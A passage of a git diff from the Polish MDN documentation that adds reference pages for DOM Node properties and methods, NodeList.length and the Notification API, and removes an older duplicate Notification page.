+      2. DIV
+      3. #text
+      4. SCRIPT
+      5. P
+      6. OL
+**************************************************/
+
+

Węzły tekstowe - #text - są w powyższym przykładzie wstawiane do modelu dokumentu w miejsce białych znaków między elementami (np. po znaczniku zamykającym jeden element, ale przed znacznikiem otwierającym następny element). Białe znaki nie są wstawiane przy wywołaniu document.write.

+

Poniższy przykład pokazuje, jak białe znaki wpływają na sąsiednie węzły komórek tabeli:

+
<table>
+  <tr>
+    <td id="cell1">cell1</td>
+    <td id="cell2">cell2</td>
+  </tr>
+  <tr>
+    <td id="cell3">cell3</td><td id="cell4">cell4</td></tr>
+</table>
+
+

nextSibling cell1 to węzeł tekstowy. Między komórkami drugiego rzędu tabeli nie ma białych znaków, dlatego rodzeństwo cell3 to tylko cell4. Podczas przechodzenia przez model dokumentu za pomocą nextSibling należy liczyć się z możliwością wystąpienia węzłów tekstowych.

+

Uwagi

+

Zwraca null, kiedy nie ma już więcej węzłów.

+

Specyfikacja

+

nextSibling

+
+  
+

{{ languages( { "en": "en/DOM/element.nextSibling", "fr": "fr/DOM/element.nextSibling", "ja": "ja/DOM/element.nextSibling" } ) }}

diff --git a/files/pl/web/api/node/nodename/index.html b/files/pl/web/api/node/nodename/index.html new file mode 100644 index 0000000000..93a54424a6 --- /dev/null +++ b/files/pl/web/api/node/nodename/index.html @@ -0,0 +1,98 @@ +--- +title: element.nodeName +slug: Web/API/Element/nodeName +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Node/nodeName +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Zwraca nazwę węzła jako ciąg znaków.

+

Składnia

+
nazwa = element.nodeName
+
+

+ + nazwa + to ciąg znaków reprezentujący nazwę bieżącego elementu. nodeName to atrybut tylko do odczytu.

+

Uwagi

+

Poniżej przedstawione są wartości zwracane dla różnych typów węzłów:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
InterfejsnodeName
Attrtak samo jak Attr.name
CDATASection"#cdata-section"
Comment"#comment"
Document"#document"
DocumentFragment"#document-fragment"
DocumentTypetak samo jak DocumentType.name
Elementtak samo jak Element.tagName
Entitynazwa encji
EntityReferencenazwa refernecji do encji
Notationnazwa notacji
ProcessingInstructiontak samo jak ProcessingInstruction.target
Text"#text"
+

Przykład

+

Dane są poniższe znaczniki

+
<div id="d1">hello world</div>
+<input type="text" id="t"/>
+
+

i taki skrypt:

+
var div1 = document.getElementById("d1");
+var poleTekstowe = document.getElementById("t");
+poleTekstowe.value = div1.nodeName;
+
+

W XHTML-u (lub innym formacie XML) wartość pola tekstowego to "div". W HTML wartość ta to "DIV".

+

Zauważ, że można było użyć właściwości tagName, ponieważ dla elementów nodeName ma taką samą wartość jak tagName.

+

Specyfikacja

+

W3C DOM Level 2 Core: nodeName

+

W3C DOM Level 3 Core: nodeName

+

 

+

 

+
+  
+

{{ languages( { "en": "en/DOM/element.nodeName", "es": "es/DOM/element.nodeName", "fr": "fr/DOM/element.nodeName", "it": "it/DOM/element.nodeName", "ja": "ja/DOM/element.nodeName" } ) }}

diff --git a/files/pl/web/api/node/nodetype/index.html b/files/pl/web/api/node/nodetype/index.html new file mode 100644 index 0000000000..8f3825ea86 --- /dev/null +++ b/files/pl/web/api/node/nodetype/index.html @@ -0,0 +1,44 @@ +--- +title: element.nodeType +slug: Web/API/Element/nodeType +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Node/nodeType +--- +
+ {{ApiRef}}
+

Podsumowanie

+

Zwraca kod reprezentujący typ węzła.

+

Składnia

+
typ = document.nodeType
+
+

typ jest zmienną liczbową typu unsigned short o jednej z poniższych wartości:

+ +

Przykład

+

Ten przykład sprawdza czy pierwszy węzeł wewnątrz elementu document jest comment node, i jeśli nie jest, wyświetli wiadomość.

+
var node = document.documentElement.firstChild;
+
+if(node.nodeType != Node.COMMENT_NODE)
+  alert("You should comment your code well!");
+
+

Specyfikacja

+ diff --git a/files/pl/web/api/node/nodevalue/index.html b/files/pl/web/api/node/nodevalue/index.html new file mode 100644 index 0000000000..205871bba3 --- /dev/null +++ b/files/pl/web/api/node/nodevalue/index.html @@ -0,0 +1,85 @@ +--- +title: Node.nodeValue +slug: Web/API/Element/nodeValue +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Node/nodeValue +--- +
+ {{APIRef}}
+
+  
+
+ Podsumowanie
+

Zwraca wartość bieżącego węzła.

+

Składnia

+
wartość = document.nodeValue
+
+

wartość to ciąg znaków reprezentujący wartość elementu, jeśli taka istnieje.

+

Uwagi

+

Dla dokumentu nodeValue zwraca null. Dla węzłów tekstowych, komentarzy i CDATA nodeValue zwraca zawartość węzła. Dla węzłów atrybutów, zwracana jest wartość atrybutu.

+

Poniższa tabela przedstawia wartości zwracane dla różnych interfejsów:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
InterfejsnodeValue
Attrwartość atrybutu
CDATASectiontreść sekcji CDATA
Commenttreść komentarza
Documentnull
DocumentFragmentnull
DocumentTypenull
Elementnull
NamedNodeMapnull
EntityReferencenull
Notationnull
ProcessingInstructioncała treść, wyłączając cel
Texttreść węzła tekstowego
+

Jeśli nodeValue z definicji ma wartość null, ustawianie tej właściwości nie będzie mieć efektu.

+

Specyfikacja

+ diff --git a/files/pl/web/api/node/normalize/index.html b/files/pl/web/api/node/normalize/index.html new file mode 100644 index 0000000000..4dac3822cc --- /dev/null +++ b/files/pl/web/api/node/normalize/index.html @@ -0,0 +1,22 @@ +--- +title: element.normalize +slug: Web/API/Element/normalize +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Node/normalize +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Metoda zapisuje określony węzeł i całe jego poddrzewo w "znormalizowanej" formie. W znormalizowanym poddrzewie żaden węzeł tekstowy nie jest pusty, nie ma również sąsiednich węzłów tekstowych.

+

Składnia

+
element.normalize()
+
+

Uwagi

+

Specyfikacja

+

DOM Level 2 Core: Node.normalize

+
+  
+

{{ languages( { "en": "en/DOM/element.normalize", "fr": "fr/DOM/element.normalize" } ) }}

diff --git a/files/pl/web/api/node/ownerdocument/index.html b/files/pl/web/api/node/ownerdocument/index.html new file mode 100644 index 0000000000..0ecbed4869 --- /dev/null +++ b/files/pl/web/api/node/ownerdocument/index.html @@ -0,0 +1,30 @@ +--- +title: element.ownerDocument +slug: Web/API/Element/ownerDocument +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Node/ownerDocument +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Własność ownerDocument zwraca obiekt najwyższego poziomu - dokument, w którym znajduje się bieżący węzeł.

+

Składnia

+
dokument = element.ownerDocument
+
+

dokument to obiekt document, będący rodzicem bieżącego elementu.

+

Przykład

+
// dla danego elementu "p" znajdź element HTML najwyższego poziomu
+d = p.ownerDocument;
+html = d.documentElement;
+
+

Uwagi

+

Obiekt document zwracany przez tę własność jest głównym obiektem, w którym tworzone są wszystkie węzły-dzieci właściwego dokumentu HTML. Własność ta użyta na węźle, który sam jest dokumentem, zwraca NULL

+

Specyfikacja

+

ownerDocument

+

 

+
+  
+

{{ languages( { "en": "en/DOM/element.ownerDocument", "fr": "fr/DOM/element.ownerDocument", "ja": "ja/DOM/element.ownerDocument" } ) }}

diff --git a/files/pl/web/api/node/parentnode/index.html b/files/pl/web/api/node/parentnode/index.html new file mode 100644 index 0000000000..ec9bbceda0 --- /dev/null +++ b/files/pl/web/api/node/parentnode/index.html @@ -0,0 +1,34 @@ +--- +title: element.parentNode +slug: Web/API/Element/parentNode +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Node/parentNode +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Własność parentNode zwraca rodzica bieżącego elementu.

+

Składnia i wartości

+
rodzic = element.parentNode
+
+

rodzic jest rodzicem bieżącego węzła. Rodzicem elementu jest węzeł typu Element, Document lub DocumentFragment.

+

Przykład

+
text_field = document.getElementById("t");
+if ( div1.parentNode == document ){
+    text_field.setAttribute("value", "top-level");
+    // pole tekstowe wyświetli tekst "top-level" }
+
+

Uwagi

+

parentNode zwraca null dla poniższych typów węzłów: Attr, Document, DocumentFragment, Entity i Notation.

+

null zwracane jest także, gdy węzeł został utworzony, ale nie przypisano go jeszcze do drzewa.

+

Zobacz także

+

{{ Domxref("element.firstChild") }}, {{ Domxref("element.lastChild") }}, {{ Domxref("element.childNodes") }}, {{ Domxref("element.nextSibling") }}, {{ Domxref("element.previousSibling") }}.

+

Specyfikacja

+

DOM Level 2 Core: Node.parentNode

+

 

+
+  
+

{{ languages( { "en": "en/DOM/element.parentNode", "fr": "fr/DOM/element.parentNode", "it": "it/DOM/element.parentNode", "ja": "ja/DOM/element.parentNode" } ) }}

diff --git a/files/pl/web/api/node/prefix/index.html b/files/pl/web/api/node/prefix/index.html new file mode 100644 index 0000000000..c5ecdac392 --- /dev/null +++ b/files/pl/web/api/node/prefix/index.html @@ -0,0 +1,28 @@ +--- +title: element.prefix +slug: Web/API/Element/prefix +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Node/prefix +--- +

{{ ApiRef() }}

+

Podsumowanie

+

prefix zwraca prefiks przestrzeni nazw węzła lub null, jeśli nie określono prefiksu.

+

Składnia

+
string = element.prefix
+element.prefix =string
+
+

Przykłady

+
<x:div onclick="alert(this.prefix)"/>
+
+

Wyświetlone zostanie "x".

+

Uwagi

+

Własność ta działa tylko wtedy, gdy używany jest parser przetwarzający przestrzenie nazw, tj. gdy dokument serwowany jest z typem MIME XML. Własność nie działa dla dokumentów HTML.

+

Specyfikacja

+

Node.prefix (wprowadzona w DOM2)

+
+  
+

{{ languages( { "en": "en/DOM/element.prefix", "fr": "fr/DOM/element.prefix", "it": "it/DOM/element.prefix", "ja": "ja/DOM/element.prefix" } ) }}

diff --git a/files/pl/web/api/node/previoussibling/index.html b/files/pl/web/api/node/previoussibling/index.html new file mode 100644 index 0000000000..0199cfb1a7 --- /dev/null +++ b/files/pl/web/api/node/previoussibling/index.html @@ -0,0 +1,28 @@ +--- +title: element.previousSibling +slug: Web/API/Element/previousSibling +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Node/previousSibling +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Zwraca węzeł bezpośrednio poprzedzający bieżący węzeł w drzewie.

+

Składnia i wartości

+
pNode = elementNode.previousSibling
+
+

pNode to węzeł przed bieżącym na liście rodzeństwa (czyli liście dzieci rodzica). Węzeł poprzedzający element jest zwykle węzłem elementu, komentarza lub tekstowym.

+

Przykład

+
var n1 = n2.previousSibling;
+
+

Uwagi

+

Zwraca null, jeśli nie ma poprzedzających węzłów.

+

Specyfikacja

+

DOM Level 1 Core: previousSibling

+

DOM Level 2 Core: previousSibling

+
+  
+

{{ languages( { "en": "en/DOM/element.previousSibling", "fr": "fr/DOM/element.previousSibling", "ja": "ja/DOM/element.previousSibling" } ) }}

diff --git a/files/pl/web/api/node/removechild/index.html b/files/pl/web/api/node/removechild/index.html new file mode 100644 index 0000000000..c07c36ab3b --- /dev/null +++ b/files/pl/web/api/node/removechild/index.html @@ -0,0 +1,36 @@ +--- +title: element.removeChild +slug: Web/API/Element/removeChild +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Node/removeChild +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Metoda removeChild usuwa węzeł potomny elementu.

+

Składnia

+
stareDziecko =element.removeChild(dziecko)
+
+

Parametry

+ +

Przykład

+
// <div id="nadrzedny" align="center">
+//   <div id="zagniezdzony"></div>
+// </div>
+d = document.getElementById("nadrzedny");
+d_zagniezdzony = document.getElementById("zagniezdzony");
+usuwany_wezel = d.removeChild(d_zagniezdzony);
+
+

 

+

Specyfikacja

+

removeChild

+
+  
+

{{ languages( { "en": "en/DOM/element.removeChild", "fr": "fr/DOM/element.removeChild", "ja": "ja/DOM/element.removeChild" } ) }}

diff --git a/files/pl/web/api/node/replacechild/index.html b/files/pl/web/api/node/replacechild/index.html new file mode 100644 index 0000000000..dcb5686d44 --- /dev/null +++ b/files/pl/web/api/node/replacechild/index.html @@ -0,0 +1,53 @@ +--- +title: element.replaceChild +slug: Web/API/Element/replaceChild +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Node/replaceChild +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Zastępuje dziecko węzła innym węzłem.

+

Składnia

+
węzełZastąpiony =węzełRodzic.replaceChild(noweDziecko,stareDziecko);
+
+ +

Przykład

+
// <div>
+//  <span id="childSpan">foo bar</span>
+// </div>
+
+// utwórz węzeł pustego elementu
+// bez ID, atrybutów i zawartości
+var sp1 = document.createElement("span");
+
+// nadaj mu ID 'newSpan'
+sp1.setAttribute("id", "newSpan");
+
+// utwórz jakąś zawartość dla nowego elementu
+var sp1_content = document.createTextNode("Nowy element span.");
+
+// wstaw tę zawartość
+sp1.appendChild(sp1_content);
+
+// stwórz referencję do istniejącego węzła, który ma zostać zastąpiony
+var sp2 = document.getElementById("childSpan");
+var parentDiv = sp2.parentNode;
+
+// zastąp istniejący węzeł sp2 elementem span sp1
+parentDiv.replaceChild(sp1, sp2);
+
+
+

Specyfikacja

+

DOM Level 1 Core: replaceChild

+

DOM Level 2 Core: replaceChild

+
+  
+

{{ languages( { "en": "en/DOM/element.replaceChild", "fr": "fr/DOM/element.replaceChild", "ja": "ja/DOM/element.replaceChild" } ) }}

diff --git a/files/pl/web/api/node/textcontent/index.html b/files/pl/web/api/node/textcontent/index.html new file mode 100644 index 0000000000..f667ea2889 --- /dev/null +++ b/files/pl/web/api/node/textcontent/index.html @@ -0,0 +1,41 @@ +--- +title: element.textContent +slug: Web/API/Element/textContent +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Node/textContent +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Pobiera lub ustawia zawartość tekstową węzła i jego potomków.

+

Składnia

+
tekst = element.textContent
+element.textContent = "przykładowy tekst"
+
+

Przykład

+
// Dany jest taki fragment w HTML:
+//   <div id="divA">To jest <span>jakiś</span> tekst</div>
+
+// Pobierz zawartość tekstową:
+var tekst = document.getElementById("divA").textContent;
+// |tekst| zawiera: "To jest jakiś tekst".
+
+// Ustaw zawartość:
+document.getElementById("divA").textContent = "To jest jakiś tekst";
+// teraz HTML elementu divA to <div id="divA">To jest jakiś tekst</div>
+
+

Uwagi

+ +

Specyfikacja

+

textContent

+
+  
+

{{ languages( { "en": "en/DOM/element.textContent", "fr": "fr/DOM/element.textContent", "it": "it/DOM/element.textContent" } ) }}

diff --git a/files/pl/web/api/nodelist/length/index.html b/files/pl/web/api/nodelist/length/index.html new file mode 100644 index 0000000000..ce5e1345ef --- /dev/null +++ b/files/pl/web/api/nodelist/length/index.html @@ -0,0 +1,37 @@ +--- +title: element.length +slug: Web/API/Element/length +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/NodeList/length +--- +

{{ ApiRef() }}

+

Podsumowanie

+

length zwraca liczbę elementów listy.

+

Składnia

+
liczbaElementów = nodeList.length
+
+

Parametry

+ +

Przykład

+
// wszystkie paragrafy z dokumentu
+items = document.getElementsByTagName("p");
+// są jakieś?
+if ( items.length ) {
+     // dodaj HTML z każdego elemntu listy
+     for (var i = 0; i < items.length; i++) {
+         gross += items[0].innerHTML;
+         // gross zawiera teraz cały HTML z paragrafów
+     }
+}
+
+

Uwagi

+

Właściwość length jest bardzo częsta w programowaniu z użyciem DOM. Używa się jej by sprawdzić, czy lista zawiera elementy oraz w pętli for, jak w powyższym przykładzie.

+

Specyfikacja

+

length

+

{{ languages( { "en": "en/DOM/element.length", "ja": "ja/DOM/element.length" } ) }}

diff --git a/files/pl/web/api/notification/index.html b/files/pl/web/api/notification/index.html new file mode 100644 index 0000000000..e314c36a3a --- /dev/null +++ b/files/pl/web/api/notification/index.html @@ -0,0 +1,348 @@ +--- +title: Powiadomienie +slug: Web/API/powiadomienie +tags: + - API + - JS Powiadomienia + - Powiadomienia + - Powiadomienie +translation_of: Web/API/Notification +--- +

{{APIRef("Web Notifications")}}

+ +

Interfejs Powiadomień {{domxref('Notifications_API','Notifications API')}}  jest używany do konfigurowania i wyświetlania powiadomień komputerowych do użytkownika .

+ +

{{AvailableInWorkers}}

+ +

Konstruktor

+ +
+
{{domxref("Notification.Notification()")}}
+
Tworzy nową instancję obiektu {{domxref('Notification')}} .
+
+ +

Cechy

+ +

Statyczne Cechy

+ +

Te Cechy są dostępne tylko dla obiektu powiadomienia.

+ +
+
{{domxref("Notification.permission")}} {{readonlyinline}}
+
Linia reprezentująca obecne uprawnienia do wyświetlania powiadomień.Możliwe Wartośći to:denied(Użytkownik odmawia do wyświetlania powiadomień), granted(Użytkownik zaakceptował wyświetlanie powiadomień),albo default(Wybór użytkownika jest nieznany i dlatego przeglądarka zachowuje się jak przy odmowie).
+
+ +

Cechy Instancji

+ +

Te Cechy są dostępne tylko dla obiektu powiadomień.

+ +
+
{{domxref("Notification.title")}} {{readonlyinline}}
+
Tytuł powiadomienia jak określone w opcjach parametru konstruktora.
+
{{domxref("Notification.dir")}} {{readonlyinline}}
+
Kierunek tekstu powiadomienia jak określone w opcjach parametru konstruktora.
+
{{domxref("Notification.lang")}} {{readonlyinline}}
+
Język kodu powiadomienia jak określone w opcjach parametru konstruktora.
+
{{domxref("Notification.body")}} {{readonlyinline}}
+
Tekst powiadomienia jak określone w opcjach parametru konstruktora.
+
{{domxref("Notification.tag")}} {{readonlyinline}}
+
ID powiadomienia (jeżeli jakiekolwiek) jak określone w opcjach parametru konstruktora.
+
{{domxref("Notification.icon")}} {{readonlyinline}}
+
Url obrazku użytego w powiadomieniu jak określone w opcjach parametru konstruktora.
+
{{domxref("Notification.data")}} {{readonlyinline}}
+
Zwraca klon struktury daty powiadomienia.
+
{{domxref("Notification.silent")}} {{readonlyinline}}
+
Opisuje czy powiadomienie powinno być ciche,takie jak bez dźwięku czy wbiracji bez względu na ustawienia urządzenia.
+
+ +

Nie wspierane cechy

+ +

Pokazane Cechy są najbardziej aktualną ze specyfikacją, ale nie są wspierane narazie przez żadną przeglądarkę.Wskazane jest aby sprawdzać regularnie czy status się zaktualizował , i daj nam znać jeżeli znajdziesz nie aktualne informacje.

+ +
+
{{domxref("Notification.noscreen")}} {{readonlyinline}}
+
Określa, czy należy włączyć powiadomienia na ekranie urządzenia, czy też nie.
+
{{domxref("Notification.renotify")}} {{readonlyinline}}
+
Określa, czy użytkownik powinien być powiadamiany po nowym powiadomieniu i zastąpić stare powiadomienie.
+
{{domxref("Notification.sound")}} {{readonlyinline}}
+
Określa dźwięk do odtworzenia wraz z powiadomieniem,za miejscę podstawowego powiadomienia systemowego.
+
{{domxref("Notification.sticky")}} {{readonlyinline}}
+
Określa czy powiadomienie powinno być trudniejsze do usunięcia przez użytkownika, klejące 'sticky'.
+
{{domxref("Notification.vibrate")}} {{readonlyinline}}
+
Określa wibrację urządzenia do emisji przez urządzenie.
+
+ +

Obsługa zdarzeń

+ +
+
{{domxref("Notification.onclick")}}
+
Obsługa dla zdarzenia {{event("click")}}.Odpalane przy każdym kliknięciu powiadomienia.
+
{{domxref("Notification.onerror")}}
+
Obsługa dla zdarzenia {{event("error")}}.Odpalane przy każdym razie kiedy powiadomienie będzie napotykało błąd.
+
+ +

Przestarzała obsługa

+ +

Pokazana obsługa zdarzeń jest nadal wspierana w  sekcji poniższej {{anch("browser compatibility")}},ale nie pokazane w obecnej specyfikacji. I w związku z tym, aby bezpiecznie założyć, że są przestarzałe mogą przestać działać w przyszłych wersjach przeglądarek.

+ +
+
{{domxref("Notification.onclose")}}
+
Obsługa zdażenia {{event("close")}}. Zamyka powiadomienie.
+
{{domxref("Notification.onshow")}}
+
Obsługa zdażenia {{event("show")}}.Pokazuje gdy powiadomienie jest pokazywane.
+
+ +

Metoda

+ +

Statyczna metoda

+ +

Te metody są dostępne tylko dla obiektu powiadomień.

+ +
+
{{domxref("Notification.requestPermission()")}}
+
Requests permission from the user to display notifications.
+
+ +

Metoda instacji

+ +

Te cechy są dostępne tylko dla obiektu powiadomień albo to prototype. Obiekt powiadomień pobiera to z interfejsu {{domxref("EventTarget")}}.

+ +
+
{{domxref("Notification.close()")}}
+
Programowo zamyka powiadomienie.
+
+ +

Przykład

+ +

W podstawowtym HTMLu:

+ +
<button onclick="notifyMe()">Pokaż Powiadomienie!</button>
+ +

Jest to możliwe aby wysłać powiadomienie - tutaj pokazujemy jak łatwo i w kompletnym składzie kodu zobaczyć czy powiadomienia są wspierane,potem sprawdzić uprawnienia czy zostały nadane dla obecnego dźwięku powiadomień, potem sprawdź uprawnienia jeżeli potrzebne,przed wysłaniem powiadomienia. 

+ +
function notifyMe() {
+  // Sprawdzamy czy przeglądarka obsługuje powiadomienia.
+  if (!("Notification" in window)) {
+    alert("Ta przeglądarka nie obsługuje powiadomień");
+  }
+
+  // Sprawdźmy czy uprawnienia dla powiadomienia zostały nadane
+  else if (Notification.permission === "granted") {
+    // jeżeli są tworzymy powiadomienie
+    var notification = new Notification("Hi there!");
+  }
+
+  // W innym przypadku tworzymy zapytanie o uprawnienia
+  else if (Notification.permission !== 'denied') {
+    Notification.requestPermission(function (permission) {
+      //Jeżeli użytkownik zaakceptuje tworzymy powiadomienie
+      if (permission === "granted") {
+        var notification = new Notification("Hi there!");
+      }
+    });
+  }
+
+  // Na koniec, jeżeli użytkownik odmówił powiadomień i chcesz szanować go
+  // nie ma potrzeby dręczyć go zapytaniami
+}
+ +

{{EmbedLiveSample('Przyk%C5%82ad', '100%', 30)}}

+ +

W wielu przypadkach, nie potrzebujesz tworzyć nowych form. Dla przykładu, w naszym Emogotchi demo (see source code), Prosto odpalamy {{domxref("Notification.requestPermission")}} aby sprawdzać czy możemy dostać uprawnienia do wysyłania powiadomień: 

+ +
Notification.requestPermission();
+ +

Potem odpalamy funkcje spawnNotification() kiedy chcemy odpalić powiadomienie — to jest przekazywane do argumentu opisanego tekstu,ikony i tytułu który chcemy, potem tworzy konieczne opcje obiektu i odpala powiadomienie używając konstruktora {{domxref("Notification.Notification","Notification()")}}.

+ +
function spawnNotification(theBody,theIcon,theTitle) {
+  var options = {
+      body: theBody,
+      icon: theIcon
+  }
+  var n = new Notification(theTitle,options);
+}
+ +

Specifikacja

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Notifications')}}{{Spec2('Web Notifications')}}Living standard
+ +

Kompatybilność Przeglądarek

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Podstawowa usługa5{{property_prefix("webkit")}}[1]
+ 22
4.0 {{property_prefix("moz")}}[2]
+ 22
{{CompatNo}}256[3]
ikona5{{property_prefix("webkit")}}[1]
+ 22
4.0 {{property_prefix("moz")}}[2]
+ 22
{{CompatNo}}25{{CompatNo}}
Available in workers{{CompatUnknown}}{{CompatGeckoDesktop("41.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
silent{{CompatChrome(43.0)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
noscreen, renotify, sound, sticky{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}} +

{{CompatVersionUnknown}}

+
4.0{{property_prefix("moz")}}[2]
+ 22
1.0.1{{property_prefix("moz")}}[2]
+ 1.2
{{CompatNo}}{{CompatUnknown}}{{CompatNo}} +

{{CompatVersionUnknown}}

+
icon{{CompatUnknown}}{{CompatVersionUnknown}}4.0{{property_prefix("moz")}}[2]
+ 22
1.0.1{{property_prefix("moz")}}[2]
+ 1.2
{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatVersionUnknown}}
Available in workers{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("41.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
silent{{CompatNo}}{{CompatChrome(43.0)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatChrome(43.0)}}
noscreen, renotify, sound, sticky{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] Before Chrome 22, the support for notification followed an old prefixed version of the specification and used the {{domxref("window.navigator.webkitNotifications","navigator.webkitNotifications")}} object to instantiate a new notification.

+ +

Before Chrome 32, {{domxref("Notification.permission")}} was not supported.

+ +

Before Chrome 42, service worker additions were not supported.

+ +

[2] Prior to Firefox 22 (Firefox OS <1.2), the instantiation of a new notification must be done with the {{domxref("window.navigator.mozNotification", "navigator.mozNotification")}} object through its createNotification method.

+ +

Prior to Firefox 22 (Firefox OS <1.2), the Notification was displayed when calling the show method and supported only the click and close events.

+ +

Nick Desaulniers wrote a Notification shim to cover both newer and older implementations.

+ +

One particular Firefox OS issue is that you can pass a path to an icon to use in the notification, but if the app is packaged you cannot use a relative path like /my_icon.png. You also can't use window.location.origin + "/my_icon.png" because window.location.origin is null in packaged apps. The manifest origin field fixes this, but it is only available in Firefox OS 1.1+. A potential solution for supporting Firefox OS <1.1 is to pass an absolute URL to an externally hosted version of the icon. This is less than ideal as the notification is displayed immediately without the icon, then the icon is fetched, but it works on all versions of Firefox OS.

+ +

When using notifications  in a Firefox OS app, be sure to add the desktop-notification permission in your manifest file. Notifications can be used at any permission level, hosted or above: "permissions": { "desktop-notification": {} }

+ +

[3] Safari zaczeło wspierać powiadomienia z wersją Safari 6,ale tylko od Mac OSX 10.8+(Mountain Lion).

+ +

Zobacz Także

+ + diff --git a/files/pl/web/api/powiadomienie/index.html b/files/pl/web/api/powiadomienie/index.html deleted file mode 100644 index e314c36a3a..0000000000 --- a/files/pl/web/api/powiadomienie/index.html +++ /dev/null @@ -1,348 +0,0 @@ ---- -title: Powiadomienie -slug: Web/API/powiadomienie -tags: - - API - - JS Powiadomienia - - Powiadomienia - - Powiadomienie -translation_of: Web/API/Notification ---- -

{{APIRef("Web Notifications")}}

- -

Interfejs Powiadomień {{domxref('Notifications_API','Notifications API')}}  jest używany do konfigurowania i wyświetlania powiadomień komputerowych do użytkownika .

- -

{{AvailableInWorkers}}

- -

Konstruktor

- -
-
{{domxref("Notification.Notification()")}}
-
Tworzy nową instancję obiektu {{domxref('Notification')}} .
-
- -

Cechy

- -

Statyczne Cechy

- -

Te Cechy są dostępne tylko dla obiektu powiadomienia.

- -
-
{{domxref("Notification.permission")}} {{readonlyinline}}
-
Linia reprezentująca obecne uprawnienia do wyświetlania powiadomień.Możliwe Wartośći to:denied(Użytkownik odmawia do wyświetlania powiadomień), granted(Użytkownik zaakceptował wyświetlanie powiadomień),albo default(Wybór użytkownika jest nieznany i dlatego przeglądarka zachowuje się jak przy odmowie).
-
- -

Cechy Instancji

- -

Te Cechy są dostępne tylko dla obiektu powiadomień.

- -
-
{{domxref("Notification.title")}} {{readonlyinline}}
-
Tytuł powiadomienia jak określone w opcjach parametru konstruktora.
-
{{domxref("Notification.dir")}} {{readonlyinline}}
-
Kierunek tekstu powiadomienia jak określone w opcjach parametru konstruktora.
-
{{domxref("Notification.lang")}} {{readonlyinline}}
-
Język kodu powiadomienia jak określone w opcjach parametru konstruktora.
-
{{domxref("Notification.body")}} {{readonlyinline}}
-
Tekst powiadomienia jak określone w opcjach parametru konstruktora.
-
{{domxref("Notification.tag")}} {{readonlyinline}}
-
ID powiadomienia (jeżeli jakiekolwiek) jak określone w opcjach parametru konstruktora.
-
{{domxref("Notification.icon")}} {{readonlyinline}}
-
Url obrazku użytego w powiadomieniu jak określone w opcjach parametru konstruktora.
-
{{domxref("Notification.data")}} {{readonlyinline}}
-
Zwraca klon struktury daty powiadomienia.
-
{{domxref("Notification.silent")}} {{readonlyinline}}
-
Opisuje czy powiadomienie powinno być ciche,takie jak bez dźwięku czy wbiracji bez względu na ustawienia urządzenia.
-
- -

Nie wspierane cechy

- -

Pokazane Cechy są najbardziej aktualną ze specyfikacją, ale nie są wspierane narazie przez żadną przeglądarkę.Wskazane jest aby sprawdzać regularnie czy status się zaktualizował , i daj nam znać jeżeli znajdziesz nie aktualne informacje.

- -
-
{{domxref("Notification.noscreen")}} {{readonlyinline}}
-
Określa, czy należy włączyć powiadomienia na ekranie urządzenia, czy też nie.
-
{{domxref("Notification.renotify")}} {{readonlyinline}}
-
Określa, czy użytkownik powinien być powiadamiany po nowym powiadomieniu i zastąpić stare powiadomienie.
-
{{domxref("Notification.sound")}} {{readonlyinline}}
-
Określa dźwięk do odtworzenia wraz z powiadomieniem,za miejscę podstawowego powiadomienia systemowego.
-
{{domxref("Notification.sticky")}} {{readonlyinline}}
-
